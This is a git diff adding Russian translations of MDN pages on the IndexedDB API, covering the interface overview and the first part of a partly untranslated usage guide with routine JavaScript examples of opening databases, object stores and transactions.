+<div class="note">
+<p><strong>Заметка</strong>: IndexedDB API мощные, но могут казаться слишком сложными для простых задач. Если вы предпочитаете простые API, попробуйте библиотеки, такие как <a href="https://localforage.github.io/localForage/">localForage</a>, <a href="http://www.dexie.org/">dexie.js</a> и <a href="https://github.com/erikolson186/zangodb">ZangoDB</a>, делающие IndexedDB более дружественным.</p>
+</div>
+
+<h2 id="Ключевые_концепции_и_использование">Ключевые концепции и  использование</h2>
+
+<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранен. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p>
+
+<ul>
+ <li>Читайте больше о <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Концепции IndexedDB</a>.</li>
+ <li>Изучите асинхронное использование IndexedDB по первоначальным принципам с руководством <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a>.</li>
+ <li>Найдите рекомендации по разработке, чтобы заставить ваш сайт работать вне сети, на странице <a href="/en-US/Apps/Build/Offline">Offline Apps</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка</strong>: Как и большинство решений web-хранения, IndexedDB следует аналогичной <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому вы имеете доступ к хранилищу данных в пределах одного домена, но не можете получать их с любого другого.</p>
+</div>
+
+<h3 id="Синхронность_и_асинхронность">Синхронность и асинхронность</h3>
+
+<p>Выполнение операций использующих IndexedDB происходит асинхронно, т. е. не блокирует приложение. IndexedDB первоначально включал синхронные и асинхронные API. Синхронные API предназначались только для работы с <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Workers</a>, но были удалены из спецификации, потому что было неясно, нужны ли они. Однако, синхронные API могут быть повторно введены, если появится спрос со стороны веб разработчиков. </p>
+
+<h3 id="Ограничения_памяти_и_критерии_освобождения">Ограничения памяти и критерии освобождения </h3>
+
+<p>Существует несколько веб-технологий, которые хранят данные того или иного вида на стороне клиента (т.е. на вашем локальном диске). Под IndexedDB чаще всего подразумевают одно. Процесс, в котором браузер вычисляет сколько места нужно выделить для хранения веб-данных. <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Ограничение памяти браузера и критерии особождения </a>пытаются объяснить как это работает, по крайней мере в случае с Firefox.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Чтобы получить доступ к базе данных, вызовите метод  <a href="/en-US/docs/Web/API/IDBFactory.open"><code>open()</code></a> y атрибута <a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a>  объекта <a href="/en-US/docs/DOM/window">window</a>. Этот метод возвращает объект {{domxref("IDBRequest")}} ; асинхронные операции связываются с вызывающим приложением, вызывая события объекта {{domxref("IDBRequest")}} .</p>
+
+<h3 id="Подключение_к_базе_данных">Подключение к базе данных</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Предоставляет доступ к функциям IndexedDB. Реализовано объектами {{domxref("window")}} и {{domxref("worker")}}.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Предоставляет доступ к базе данных. Этот интерфейс представлен глобальным объектом <code><a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB">indexedDB</a></code>. Он является точкой входа для API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Представляет запрос на открытие базы данных.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Представляет подключение к базе данных. Это единственный способ получить транзакцию в базе данных.</dd>
+</dl>
+
+<h3 id="Получение_и_изменение_данных">Получение и изменение данных</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Представляет транзакцию. Вы создаете транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Generic interface that handles database requests and provides access to results.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Универсальный интерфейс, который обрабатывает запросы к базе данных и предоставляет доступ к результатам.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Позволяет получить доступ к подмножеству данных в IndexedDB, но вместо первичного ключа использует индекс для извлечения записи (записей). Иногда это быстрее, чем использование {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Итерирует по хранилищам объектов и индексам.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Итерирует по хранилищам объектов и индексам и возвращает текущее значение курсора.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне.</dd>
+ <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
+ <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне, отсортированных в соответствии с правилами локали, указанной для определенного индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd>
+</dl>
+
+<h3 id="Пользовательские_интерфейсы_событий">Пользовательские интерфейсы событий</h3>
+
+<p>Эта спецификация запускает события со следующим настраиваемым интерфейсом:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeEvent")}}</dt>
+ <dd>Интерфейс <code>IDBVersionChangeEvent</code> указывает, что версия базы данных изменилась в результате функции обработчика событий {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.</dd>
+</dl>
+
+<h3 id="Устаревшие_интерфейсы">Устаревшие интерфейсы</h3>
+
+<p>Ранняя версия спецификации также определяла эти теперь удаленные интерфейсы. Они все еще задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
+ <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путем вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удаленного {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}</dt>
+ <dd>Представляет исключения, которые могут возникнуть при выполнении операций с базой данных.</dd>
+ <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBTransaction")}}.</dd>
+ <dt>{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBIndexSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBIndex")}}.</dd>
+ <dt>{{domxref("IDBFactorySync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBEnvironment")}}.</dd>
+ <dt>{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBDatabase")}}.</dd>
+ <dt>{{domxref("IDBCursorSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBCursor")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<ul>
+ <li><a class="external" href="http://marco-c.github.io/eLibri/">eLibri:</a> Мощная библиотека и приложение для чтения электронных книг, написанное Марко Кастеллуччо, победителем IndexedDB Mozilla DevDerby.</li>
+ <li><a class="external" href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>): Эталонное приложение для примеров в справочной документации.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Storing images and files in IndexedDB</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: Polyfill, предоставляющий простое имя: синтаксис значения для клиентского хранилища данных, которое использует IndexedDB в фоновом режиме, но обращается к WebSQL, а затем к localStorage в браузерах, которые не поддерживают IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">Dexie.js</a>: Обертка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: Интерфейс, подобный MongoDB, для IndexedDB, который поддерживает большинство знакомых функций фильтрации, проекции, сортировки, обновления и агрегирования MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: Оболочка IndexedDB с синтаксисом, подобным SQL.</li>
+ <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: Клиентский MongoDB, поддерживаемый localStorage, с синхронизацией сервера по http. MiniMongo используется в MeteorJS.</li>
+ <li><a href="https://pouchdb.com/">PouchDB</a>: Клиентская реализация CouchDB в браузере с использованием IndexedDB</li>
+ <li><a href="https://www.npmjs.com/package/idb">idb</a>: Крошечная (~1,15 КБ) библиотека, которая в основном представляет API IndexedDB, но с небольшими улучшениями, которые имеют большое значение для удобства использования.</li>
+ <li><a href="https://www.npmjs.com/package/idb-keyval">idb-keyval</a>: Суперпростое-маленькое (~600 Б) хранилище ключей на основе Promise, реализованное с помощью IndexedDB</li>
+ <li><a href="https://www.npmjs.com/package/@sifrr/storage">sifrr-storage:</a> Небольшая (~2 КБ) библиотека на основе Promise для хранения ключей и значений на стороне клиента. Работает с IndexedDB, localStorage, WebSQL, Cookies. Может автоматически использовать поддерживаемое хранилище, доступное в зависимости от приоритета.</li>
+ <li><a href="https://github.com/google/lovefield">lovefield</a>: Lovefield - это реляционная база данных для веб-приложений. Написана на JavaScript, работает кроссбраузерно. Предоставляет API-интерфейсы, подобные SQL, быстрые, безопасные и простые в использовании.</li>
+</ul>
diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
new file mode 100644
index 0000000000..156ef5cded
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
@@ -0,0 +1,1198 @@
+---
+title: Использование IndexedDB
+slug: Web/API/IndexedDB_API/Using_IndexedDB
+tags:
+  - API
+  - Advanced
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p>IndexedDB - это способ постоянного хранения данных внутри клиентского браузера, другими словами это NOSQL хранилище на стороне клиента. Что позволяет создавать веб-приложения с богатыми возможностями обращения к данным независимо от доступности сети, ваши приложения могут работать как онлайн, так и офлайн.</p>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>Это руководство по использованию асинхронного API для IndexedDB. Если вы не знакомы с IndexedDB, то обратитесь для начала к документу <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB">Basic Concepts About IndexedDB</a>.<a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB"> </a>.</p>
+
+<div class="warning">Некоторые части документа не переведены, в основном это повсеместно принятые в программировании рекомендации, такие как обработка ошибок или что-то очевидное. Тем не менее Вы можете/должны продолжить перевод. Главная цель перевода - понять основные концепции IndexedDB, обратить внимание на важные нюансы, прокомментировать исходный код и может быть добавить примеры.</div>
+
+<p>Справочную документацию по IndexedDB API вы найдете в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p>
+
+<h2 id="pattern" name="pattern">Типичная схема работы с базой</h2>
+
+<p>Обычная последовательность шагов при работе с IndexedDB :</p>
+
+<ol>
+ <li>Открыть базу данных.</li>
+ <li>Создать хранилище объектов в базе данных, над которой будут выполняться наши операции. </li>
+ <li>Запустить транзакцию и выдать запрос на выполнение какой-либо операции с базой данных, например, добавление или извлечение данных.</li>
+ <li>
+  <div>Ждать завершения операции, "слушая" событие DOM, на которое должен быть установлен наш обработчик.</div>
+ </li>
+ <li>
+  <div>Сделать что-то с результатами (которые могут быть найдены в возвращаемом по нашему запросу объекте ).</div>
+ </li>
+</ol>
+
+<p>Теперь, получив общее представление, переходим к более конкретным деталям.</p>
+
+<h2 id="open" name="open">Создание и структурирование хранилища</h2>
+
+<p>Так как спецификация пока еще находится в процесе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят,  префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока еще используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p>
+
+<h3 id="Использование_экспериментальной_версии_IndexedDB">Использование экспериментальной версии IndexedDB</h3>
+
+<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока еще не отказались от префикса, можно воспользоваться следующим кодом:</p>
+
+<pre class="brush: js">// проверяем существования префикса.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// НЕ ИСПОЛЬЗУЙТЕ "var indexedDB = ..." вне функции.
+// также могут отличаться и window.IDB* objects: Transaction, KeyRange и тд
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla никогда не создавала префиксов для объектов, поэтому window.mozIDB* не требуется проверять)</pre>
+
+<p>Имейте в виду, что  реализации, в которых всё ещё используются префиксы, могут содержать ошибки, быть неполными или следовать устаревшей спецификации. Поэтому их не рекомендуется использовать в ваших рабочих проектах. Предпочтительнее отказаться от таких браузеров, чем получать от них ошибки:</p>
+
+<pre class="brush: js">if (!window.indexedDB) {
+    window.alert("Ваш браузер не поддерживат стабильную версию IndexedDB. Такие-то функции будут недоступны");
+}
+</pre>
+
+<h3 id="Открытие_базы_данных">Открытие базы данных</h3>
+
+<p>Как-то так:</p>
+
+<pre class="brush: js">// Открываем базу данных MyTestDatabase
+var request = window.indexedDB.open("MyTestDatabase", 3);
+</pre>
+
+<p>Видите? Открытие базы данных, подобно любым другим операциям, запускается запросом.</p>
+
+<p>На  самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернет объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a>  с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p>
+
+<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов  и их структуру . Если база данных еще не существует, то она создается операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого  ваш обработчик этого события создает схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p>
+
+<div class="warning">
+<p>Версия базы данных имеет внутреннее представление <code>unsigned long long</code> number (длинное длинное целое без знака), то есть может принимать очень большие целые значения. Имейте в виду также, что нет смысла использовать в качестве версии базы данных значение с плавающей точкой (float), потому что оно будет сконвертировано в ближайшее меньшее целое. В результате неожиданно может не запуститься транзакция или сработать триггер события <code>upgradeneeded</code>. Например, не используйте значение  2.4 как версию базы данных:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">,</span> <span class="number token">2.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token"> // <code class="language-js"><span class="comment token">не делайте так, потому что версия будет округлена до 2</span></code></span></code></pre>
+</div>
+
+<h4 id="Установка_обработчиков">Установка обработчиков</h4>
+
+<p>Первое, что понадобится сделать практически со всеми запросами, которые вы создаёте - это добавить обработчики событий успеха и ошибки:</p>
+
+<pre class="brush: js">request.onerror = function(event) {
+  // Сделать что-то при ошибке request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Выполнить какой-то код если запрос успешный request.result!
+};</pre>
+
+<p>Какая из двух функций<code> - onsuccess()</code> или <code>onerror()</code> - должна быть вызвана?  Если всё в порядке - то инициируется событие успеха (это событие DOM,  свойство type которого выставлено в <code>"success"</code>)  с <code>request</code> в качестве <code>target</code>. Это вызывает запуск  функции <code>onsuccess()</code> объекта <code>request</code>  с событием успеха в качестве аргумента. В противном случае, если возникают какие-то проблемы, то происходит событие ошибки (то есть событие DOM, свойство <code>type</code> которого установлено в  <code>"error"</code>) . Это приводит к запуску  функции <code><code>onerror()</code></code> с событием ошибки в качестве аргумента.</p>
+
+<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объемов данных для использования офлайн. (Чтобы узнать,  сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p>
+
+<p>Конечно же, браузеры стремятся не позволить назойливым рекламным сетям или вредоносным сайтам засорять ваш компьютер. Поэтому при первой попытке любого веб-приложения открыть хранилище IndexedDB, браузер запрашивает разрешение пользователя. Пользователь может выбрать - то ли разрешить, то ли запретить доступ. Кроме этого, в приватных режимах браузеров (частный просмотр для Firefox и режим инкогнито для Chrome), IndexedDB полностью запрещена для использования. Так как цель приватных режимов - не оставлять следов, то открытие базы данных невозможно в таких режимах.</p>
+
+<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code>   является экземпляром объекта <code>IDBDatabase</code> и вы определенно захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> db<span class="punctuation token">;</span>
+<span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Почему Вы не позволяете моему веб-приложению использовать IndexedDB?!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code>
+</pre>
+
+<h4 id="Обработка_ошибок">Обработка ошибок</h4>
+
+<p>Как уже упоминалось выше, события ошибки всплывают. Событие ошибки нацелено (в фазе перехвата) на запрос, который сгенерировал ошибку, затем событие всплывает до уровня транзакции и наконец достигает уровня объекта базы данных. Если вы хотите избежать установки отдельных обработчиков на каждый запрос, то вы можете вместо этого установить один единственный обработчик на объект базы данных, например так:</p>
+
+<pre class="brush: js">db.onerror = function(event) {
+  // все ошибки выводим в alert
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
+<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохраненная на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p>
+
+<h3 id="Создание_или_обновление_версии_базы_данных">Создание или обновление версии базы данных</h3>
+
+<p>Когда вы создаете новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p>
+
+<pre class="brush:js;">// Это событие появилось только в самых новых браузерах
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Создаем хранилище объектов для этой базы данных
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</pre>
+
+<p>Версия числа без знака с длиной <code>long long, может быть очень большим.</code></p>
+
+<div class="warning">
+<p>Так же вы не можете использовать float, его значение будет округлено до ближайшего целого, со всеми вытекающими из этого ошибками:</p>
+
+<pre class="brush: js">var request = indexedDB.open("MyTestDatabase", 2.4); // Будет округлено до 2</pre>
+</div>
+
+<p>Когда вы увеличиваете номер версии, будет инициировано событие onupgradeneeded. В этот момент БД будет хранить старые объекты. Но для всякого объекта прошлой версии стоит создать новый объект, совместимый с новой версией. Если вам необходимо исправить существующий объект в БД (например, для изменения keyPath), то вы можете удалить объект и создать его вновь с новыми параметрами (помните, что удаление стирает информацию, так что не забывайте сохранять то, что вам нужно).</p>
+
+<p>WebKit поддержимает текущую версию спецификации в Google Chrome 23 и старше. Так что там нет события <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">indexedDB.open(name, version).onupgradeneeded. Однако, вы можете ознакомиться с инструкцией <a href="/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">о том, что делать со старым </a></span><a href="/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">Webkit</a>.</p>
+
+<h3 id="Структура_базы_данных">Структура базы данных</h3>
+
+<p>Now to structure the database. IndexedDB uses object stores rather than tables, and a single database can contain any number of object stores. Whenever a value is stored in an object store, it is associated with a key. There are several different ways that a key can be supplied depending on whether the object store uses a <a href="/en/IndexedDB#gloss_key_path" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">key path</a> or a <a href="/en/IndexedDB#gloss_key_generator" title="en/IndexedDB#gloss key generator">key generator</a>.</p>
+
+<p>The following table shows the different ways the keys are supplied. </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Key Path</th>
+   <th scope="col">Key Generator</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>No</td>
+   <td>No</td>
+   <td>This object store can hold any kind of value, even primitive values like numbers and strings. You must supply a separate key argument whenever you want to add a new value.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>No</td>
+   <td>This object store can only hold JavaScript objects. The objects must have a property with the same name as the key path.</td>
+  </tr>
+  <tr>
+   <td>No</td>
+   <td>Yes</td>
+   <td>This object store can hold any kind of value. The key is generated for you automatically, or you can supply a separate key argument if you want to use a specific key.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>This object store can only hold JavaScript objects. Usually a key is generated and the value of the generated key is stored in the object in a property with the same name as the key path. However, if such a property already exists, the value of that property is used as key rather than generating a new key.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>You can also create indices on any object store, provided the object store holds objects, not primitives. An index lets you look up the values stored in an object store using the value of a property of the stored object, rather than the object's key.</p>
+
+<p>Additionally, indexes have the ability to enforce simple constraints on the stored data. By setting the unique flag when creating the index, the index ensures that no two objects are stored with both having the same value for the index's key path. So, for example, if you have an object store which holds a set of people, and you want to ensure that no two people have the same email address, you can use an index with the unique flag set to enforce this.</p>
+
+<p>That may sound confusing, but this simple example should illustrate the concepts:</p>
+
+<pre class="brush: js">// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Store values in the newly created objectStore.
+  for (var i in customerData) {
+    objectStore.add(customerData[i]);
+  }
+};
+</pre>
+
+<p>As mentioned previously, <code>onupgradeneeded</code> is the only place where you can alter the structure of the database. In it, you can create and delete object stores and build and remove indices.</p>
+
+<div>Object stores are created with a single call to <code>createObjectStore()</code>. The method takes a name of the store, and a parameter object. Even though the parameter object is optional, it is very important, because it lets you define important optional properties and refine the type of object store you want to create. In our case, we've asked for an object store named "customers" and  defined a keyPath that is the property that makes an individual object in the store unique. That property in this example is "ssn" since a social security number is guaranteed to be unique. "ssn" must be present on every object that is stored in the objectStore. </div>
+
+<p>We've also asked for an index named "name" that looks at the <code>name</code> property of the stored objects. As with <code>createObjectStore()</code>, <code>createIndex()</code> takes an optional <code>options</code> object that refines the type of  index that you want to create. Adding objects that don't have a <code>name</code> property still succeeds, but the object won't appear in the "name" index.</p>
+
+<p>We can now retrieve the stored customer objects using their <code>ssn</code> from the object store directly, or using their name by using the index. To learn how this is done, see the section on <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="Using IndexedDB#Using an index">using an index</a>.</p>
+
+<h2 id="Adding_and_removing_data">Adding and removing data</h2>
+
+<p>Before you can do anything with your new database, you need to start a transaction. Transactions come from the database object, and you have to specify which object stores you want the transaction to span. Also, you need to decide if you're going to make changes to the database or if you just need to read from it.  Although transactions have three modes (read-only, read/write, and versionchange), you're better off using a read-only transaction when you can, because they can run concurrently</p>
+
+<h3 id="Adding_data_to_the_database">Adding data to the database</h3>
+
+<p>If you've just created a database, then you probably want to write to it. Here's what that looks like:</p>
+
+<pre class="brush:js;">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+
+<p>The <code>transaction()</code> function takes two arguments (though one is optional) and returns a transaction object. The first argument is a list of object stores that the transaction will span. You can pass an empty array if you want the transaction to span all object stores, but don't do it because the spec says an empty array should generate an InvalidAccessError. If you don't specify anything for the second argument, you get a read-only transaction. Since you want to write to it here you need to pass the <code>"readwrite"</code> flag.</p>
+
+<p>Now that you have a transaction you need to understand its lifetime. Transactions are tied very closely to the event loop. If you make a transaction and return to the event loop without using it then the transaction will become inactive. The only way to keep the transaction active is to make a request on it. When the request is finished you'll get a DOM event and, assuming that the request succeeded, you'll have another opportunity to extend the transaction during that callback. If you return to the event loop without extending the transaction then it will become inactive, and so on. As long as there are pending requests the transaction remains active. Transaction lifetimes are really very simple but it might take a little time to get used to. A few more examples will help, too. If you start seeing <code>TRANSACTION_INACTIVE_ERR</code> error codes then you've messed something up.</p>
+
